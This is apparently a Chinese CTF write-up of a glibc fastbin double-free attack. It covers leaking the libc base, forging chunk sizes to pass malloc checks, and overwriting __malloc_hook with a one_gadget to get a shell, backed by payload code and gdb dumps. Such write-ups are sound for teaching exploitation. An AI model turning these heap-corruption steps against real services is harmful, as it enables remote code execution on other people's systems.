Introduction
学习 how2heap 中 fastbin attack 的知识点
考察的知识点:
利用 fastbin attack 即 double free 的方式泄露 libc 基址,当只有一个 small/large chunk 被释放时,small/large chunk 的 fd 和 bk 指向 main_arena 中的地址,然后 fastbin attack 可以实现有限的地址写能力。
Analysis
程序保护全开,并且没有 debug symbols。
- Allocate - 调用 calloc 分配小于 0x1000 大小的内存,calloc 分配的 chunk 会被清空。
- Fill - 填充任意大小的内存,意味着可以覆盖其它 chunk。
- Free - 释放一块 chunk。
- Dump - 输出限制大小的 chunk 内容。
Leak Libc
程序没有 uaf ,内存被释放后无法查看其中内容,可以通过 double free 获得指向 small bin 的 index,将其释放后 dump 出来。
首先分配一系列相同大小的 fast chunk,再分配一个 small chunk,释放掉其中一个 fast chunk。
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)
free(1)
此时我们查看一下堆内存,和 main_arena。
0x5591e2494000: 0x00000000 0x00000000 0x00000021 0x00000000 <--- chunk 0 (fastbin, in use)
0x5591e2494010: 0x00000000 0x00000000 0x00000000 0x00000000
0x5591e2494020: 0x00000000 0x00000000 0x00000021 0x00000000 <--- chunk 1 (fastbin, free)
0x5591e2494030: 0x00000000 0x00000000 0x00000000 0x00000000
0x5591e2494040: 0x00000000 0x00000000 0x00000021 0x00000000 <--- chunk 2 (fastbin, in use)
0x5591e2494050: 0x00000000 0x00000000 0x00000000 0x00000000
0x5591e2494060: 0x00000000 0x00000000 0x00000021 0x00000000 <--- chunk 3 (fastbin, in use)
0x5591e2494070: 0x00000000 0x00000000 0x00000000 0x00000000
0x5591e2494080: 0x00000000 0x00000000 0x00000091 0x00000000 <--- chunk 4 (smallbin, in use)
0x5591e2494090: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/32xw &main_arena
0x7f9f952dfb20 <main_arena>: 0x00000000 0x00000000 0xe2494020 0x00005591 <--- fastbin[0]
0x7f9f952dfb30 <main_arena+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb40 <main_arena+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb50 <main_arena+48>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb60 <main_arena+64>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb70 <main_arena+80>: 0x00000000 0x00000000 0xe2494110 0x00005591
0x7f9f952dfb80 <main_arena+96>: 0x00000000 0x00000000 0x952dfb78 0x00007f9f
0x7f9f952dfb90 <main_arena+112>: 0x952dfb78 0x00007f9f 0x952dfb88 0x00007f9f
释放的那个 fast chunk 被放入到 fastbin 中,fastbin 为单链表形式,如果再释放一个 fast chunk,将其插入 fastbin 的头部,释放的第二个 chunk 其 fd 会被设置成第一个 chunk 的地址。
free(2)
gdb-peda$ x/128xw 0x000055e7126bf000
0x5591e2494000: 0x00000000 0x00000000 0x00000021 0x00000000
0x5591e2494010: 0x00000000 0x00000000 0x00000000 0x00000000
0x5591e2494020: 0x00000000 0x00000000 0x00000021 0x00000000
0x5591e2494030: 0x00000000 0x00000000 0x00000000 0x00000000
0x5591e2494040: 0x00000000 0x00000000 0x00000021 0x00000000
0x5591e2494050: 0xe2494020 0x00005591 0x00000000 0x00000000
0x5591e2494060: 0x00000000 0x00000000 0x00000021 0x00000000
0x5591e2494070: 0x00000000 0x00000000 0x00000000 0x00000000
0x5591e2494080: 0x00000000 0x00000000 0x00000091 0x00000000
0x5591e2494090: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/32xw &main_arena
0x7f9f952dfb20 <main_arena>: 0x00000000 0x00000000 0xe2494040 0x00005591 <--- 最新释放的 chunk
0x7f9f952dfb30 <main_arena+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb40 <main_arena+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb50 <main_arena+48>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb60 <main_arena+64>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb70 <main_arena+80>: 0x00000000 0x00000000 0xe2494110 0x00005591
0x7f9f952dfb80 <main_arena+96>: 0x00000000 0x00000000 0x952dfb78 0x00007f9f
0x7f9f952dfb90 <main_arena+112>: 0x952dfb78 0x00007f9f 0x952dfb88 0x00007f9f
此时使用 fill 覆盖 fastbin 头部 chunk 的 fd 值,将其改写成 small chunk 的地址,那么通过两次 alloc,先将 small chunk 放入 fastbin,再将其取出来,获得指向它的 index。要这么做必须绕过 malloc 的安全检查:
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
{
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr (check_action, errstr, chunk2mem (victim), av);
return NULL;
}
查看其 chunksize 与相应的 fastbin_index 是否匹配,实际上 chunksize 的计算方法是 victim->size & ~(SIZE_BITS))
,而它对应的 index 计算方法为 (size) >> (SIZE_SZ == 8 ? 4 : 3) - 2
,这里 64位的平台对应的 SIZE_SZ 是8,则 fastbin_index 为 (size >> 4) - 2
,那么我们将 small chunk 的 size 域改写成 0x21 即可。
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
alloc(0x10)
alloc(0x10)
0x302f529d7e40: 0x00000001 0x00000000 0x00000010 0x00000000
0x302f529d7e50: 0xe2494010 0x00005591 0x00000001 0x00000000
0x302f529d7e60: 0x00000010 0x00000000 0xe2494050 0x00005591
0x302f529d7e70: 0x00000001 0x00000000 0x00000010 0x00000000
0x302f529d7e80: 0xe2494090 0x00005591 0x00000001 0x00000000
0x302f529d7e90: 0x00000010 0x00000000 0xe2494070 0x00005591
0x302f529d7ea0: 0x00000001 0x00000000 0x00000080 0x00000000
0x302f529d7eb0: 0xe2494090 0x00005591 0x00000000 0x00000000
可以看到 index[2] 存放的是 small chunk 的地址,此时将 small chunk 的 size 改写回来,将其释放掉就可以 dump 出来了。
Exploit
获得了 libc 地址,我们可以使用 fastbin attack 将一个 libc 上的地址放入 fastbin 链表中,然后 malloc 出来,这样就可已改写 libc 的内容。__malloc_hook 是一个 libc 上的函数指针,调用 malloc 时如果该指针不为空则执行它指向的函数,可以通过写 __malloc_hook 来 getshell。
void *(*hook) (size_t, const void *)
= atomic_forced_read (__malloc_hook);
if (__builtin_expect (hook != NULL, 0))
return (*hook)(bytes, RETURN_ADDRESS (0));
gdb-peda$ x/32xw (long long)(&main_arena)-0x40
0x7f9f952dfae0 <_IO_wide_data_0+288>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfaf0 <_IO_wide_data_0+304>: 0x952de260 0x00007f9f 0x00000000 0x00000000
0x7f9f952dfb00 <__memalign_hook>: 0x94fa0e20 0x00007f9f 0x94fa0a00 0x00007f9f
0x7f9f952dfb10 <__malloc_hook>: 0x00000000 0x00000000 0x00000000 0x00000000 <--- target
0x7f9f952dfb20 <main_arena>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb30 <main_arena+16>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb40 <main_arena+32>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb50 <main_arena+48>: 0x00000000 0x00000000 0x00000000 0x00000000
同样的,这里我们也要绕过 malloc 的安全检查,chunksize 必须与 fastbin_index 相对应,初看 __malloc_hook 附近没有合适的 chunksize,这里需要巧妙的偏移一下。
gdb-peda$ x/32xw (long long)(&main_arena)-0x40+0xd
0x7f9f952dfaed <_IO_wide_data_0+301>: 0x60000000 0x9f952de2 0x0000007f 0x00000000
0x7f9f952dfafd: 0x20000000 0x9f94fa0e 0x0000007f 0x9f94fa0a
0x7f9f952dfb0d <__realloc_hook+5>: 0x0000007f 0x00000000 0x00000000 0x00000000
0x7f9f952dfb1d: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb2d <main_arena+13>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb3d <main_arena+29>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb4d <main_arena+45>: 0x00000000 0x00000000 0x00000000 0x00000000
0x7f9f952dfb5d <main_arena+61>: 0x00000000 0x00000000 0x00000000 0x00000000
可以看到以这个地址作为 chunk 指针即可构造出 index 为 5 的 fastbin,那么我们就可以成功的改写 __malloc_hook了,现在只差可执行代码。
这里介绍一个神奇的工具 one gadget,只用一个 gadget 地址就可以成功调用 execve(“/bin/sh”)。
最后给出完整的 exploit 代码 exp.py
Reference